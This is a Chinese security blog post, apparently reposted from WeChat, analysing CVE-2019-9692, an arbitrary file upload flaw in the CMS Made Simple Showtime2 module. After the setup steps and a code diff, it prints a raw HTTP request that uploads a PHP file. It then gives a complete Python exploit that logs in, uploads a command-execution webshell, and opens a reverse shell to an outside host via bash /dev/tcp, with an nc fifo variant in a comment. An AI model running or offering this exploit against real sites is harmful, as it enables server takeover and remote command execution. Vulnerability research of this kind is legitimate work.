CMSMS模块Showtime2任意文件上传漏洞CVE-2019-9692分析 附利用POC

前言

好久没有代码审计了,最近在研究内网,域的相关知识,把自己搞的有点魔障。

打个广告,团队招人,运营的,技术的,后台直接联系,回复会有些延迟。

这个CVE没啥技术含量。

专心做技术,低调求发展。

送自己也是送大家俩字:蛰伏。

CMSMS介绍

CMSMadeSimple是一个简单易于使用的内容管理系统。它使用PHP,MySQL和Smarty模板引擎开发。

昨天看漏洞库的时候看到这一款CMS,于是乎就复现了一篇过程和写漏洞脚本。

环境搭建

CMS下载地址:

www.cmsmadesimple.org

漏洞插件下载地址:

http://dev.cmsmadesimple.org/project/list/module?letter=S

环境搭建:

kali+apache2+php+mysql

搭建方法如下:

官网上下载cmsms-2.2.9.1-install.php到Web根目录然后

直接访问

进入安装目录

把相应的库给安装好

最后的效果是这样:

然后是安装插件:

后台登陆之后

直接下载xml格式的文件然后上传安装

安装之后在后台的控制面板看到插件:

漏洞分析

这次漏洞分析偷了了点懒,直接把最新版本和老版本的插件同时下载了下来直接进行文档比对

我用的工具是Beyond Compare

可以直接看到,在class.showtime2_images.php增加了几行检测后缀后缀名称的过滤的代码。

没有对上传的文件名称进行检测和过滤

所以可以任意上传

现在来分析代码参数传递的过程

首先在后台任意一个链接的格式都会类似这样

http://192.168.1.12/admin/moduleinterface.php?mact=CMSContentManager,m1_,defaultadmin,0&__c=14316a92c008da3b7a2

所以moduleinterface.php是后台管理的入口文件,mact是传递的不同的参数,而且参数有4个,同时__c主要与身份认证有关系,所以从后台的入口文件开始分析:

if (isset($_REQUEST['mact'])) {
    $ary = explode(',', cms_htmlentities($_REQUEST['mact']), );
    $module = (isset($ary[])?$ary[]:'');
    $id = (isset($ary[])?$ary[]:'m1_');
    $action = (isset($ary[])?$ary[]:'');
}

这是分离参数处理请求

至于参数传递,模版加载的过程要是仔细分析的话需要很长时间把框架的大概读一下,留到下一期分析,直接可以搭建好的环境中找到上传的点,直接上传getshell 没有任何过滤。

漏洞复现

登陆之后直接在控制面板上找到Showtime2插件,可以找到文件上传,此处可以上传任意php代码,得到shell

http://192.168.1.12/admin/moduleinterface.php?mact=Showtime2,m1_,defaultadmin,0&__c=14316a92c008da3b7a2
POST /admin/moduleinterface.php HTTP/1.1
Host: 192.168.1.12
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.12/
Content-Type: multipart/form-data; boundary=---------------------------816741718262582802150258629
Content-Length: 627
Connection: keep-alive
Cookie: BL_D_PROV=undefined; BL_T_PROV=undefined; PHPSESSID=g8j4psp7tam5fqkssmhsaaf0a8; BL_D_PROV=undefined; BL_T_PROV=undefined; CMSICe0feb99ba7=g6mpp05ialg5cbqm5m1unv88le; CMSSESSIDa0ef49a94e6c=c3adouenmma3ee6f46mfq5cb08; 9d8b62c00d951bb6bdb0b850f80ede0583dbc4a9=4de767e390fef630377b054406b9678ed4935901%3A%3AeyJ1aWQiOjEsInVzZXJuYW1lIjoiZmFuZ3poYW5nIiwiZWZmX3VpZCI6bnVsbCwiZWZmX3VzZXJuYW1lIjpudWxsLCJoYXNoIjoiJDJ5JDEwJEdqRkxXbmFka1VnZm9cL05NWVJTZFwvZXJPeEtvbTBDOHF1WVJ4ZjhsS1pmU3R5ZlgyTHZ3NE8ifQ%3D%3D; __c=9afadb91297be820694
Upgrade-Insecure-Requests: 1

-----------------------------816741718262582802150258629
Content-Disposition: form-data; name="mact"

Showtime2,m1_,defaultadmin,0
-----------------------------816741718262582802150258629
Content-Disposition: form-data; name="__c"

9afadb91297be820694
-----------------------------816741718262582802150258629
Content-Disposition: form-data; name="m1_input_browse"; filename="2011.php"
Content-Type: text/php

<?php  phpinfo();?>
-----------------------------816741718262582802150258629
Content-Disposition: form-data; name="m1_upload_submit"

Upload
-----------------------------816741718262582802150258629--

burp类似这样直接上传 获得shell。

某位大佬poc如下:

import requests
import optparse
from requests_toolbelt.multipart.encoder import MultipartEncoder

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://192.168.1.10/cms)")
parser.add_option('-U', '--username', action="store", dest="username", help="Username for login", default="admin")
parser.add_option('-P', '--password', action="store", dest="password", help="Password for login", default="password")
parser.add_option('-l', '--local', action="store", dest="local", help="Local uri for reverse shell", default="localhost")
parser.add_option('-p', '--port', action="store", dest="port", help="Local port for reverse shell", default="2222")
options, args = parser.parse_args()

if not options.url:
    print "[-] Specify an uri target"
    exit()

if not options.username:
    print "[-] Specify an username for login in administrator panel"
    exit()

if not options.password:
    print "[-] Specify a password for login in administrator panel"
    exit()

base_uri = options.url
url_login = base_uri + "/admin/login.php"
user = options.username
password = options.password
session = requests.Session()
__c_var = ""
lhost = options.local
lport = options.port

# Login in administrator panel for get the csrf token
def login(username, password):
    print "[*] Login to cms"
    global __c_var
    credentials = {"username": username, "password": password, "loginsubmit": "Submit"}
    response = session.post(url_login, data=credentials, allow_redirects=False)
    __c_var = response.headers['Location'].split("__c=")[]
    print "[*] Token value: " + __c_var

# upload a php script with reverse shell in vulnerable functionality
def upload_shell():
    print "[*] Uploading webshell"
    multipart_data = MultipartEncoder(
        fields = {
            'm1_input_browse': ('shell.php', "<?php system($_REQUEST['cmd']); ?>", 'text/plain'),
            '__c': __c_var,
            'mact': 'Showtime2,m1_,defaultadmin,0',
            'm1_upload_submit': 'Upload'
        }
    )
    response = session.post(base_uri + '/admin/moduleinterface.php', data=multipart_data,
                      headers={'Content-Type': multipart_data.content_type})

# Call the script uploaded for spawn a reverse shell
def spawn_shell():
    print "[*] Spawn a shell to " + lhost + ":" + str(lport)
    # payload = {"cmd": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc " + lhost + " " + str(lport) + " >/tmp/f"}
    payload = {"cmd":"bash -i >& /dev/tcp/192.168.1.2/8888 0>&1"}
    requests.post(base_uri + "/uploads/images/shell.php", data=payload)

login(user, password)
upload_shell()
spawn_shell()

团队内部的星球:每天都有新的学习任务和知识分享,非诚勿扰。

原文发布于微信公众号 - 无级安全(wujisec)

原文发表时间:2019-03-30

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

扫码关注云+社区

领取腾讯云代金券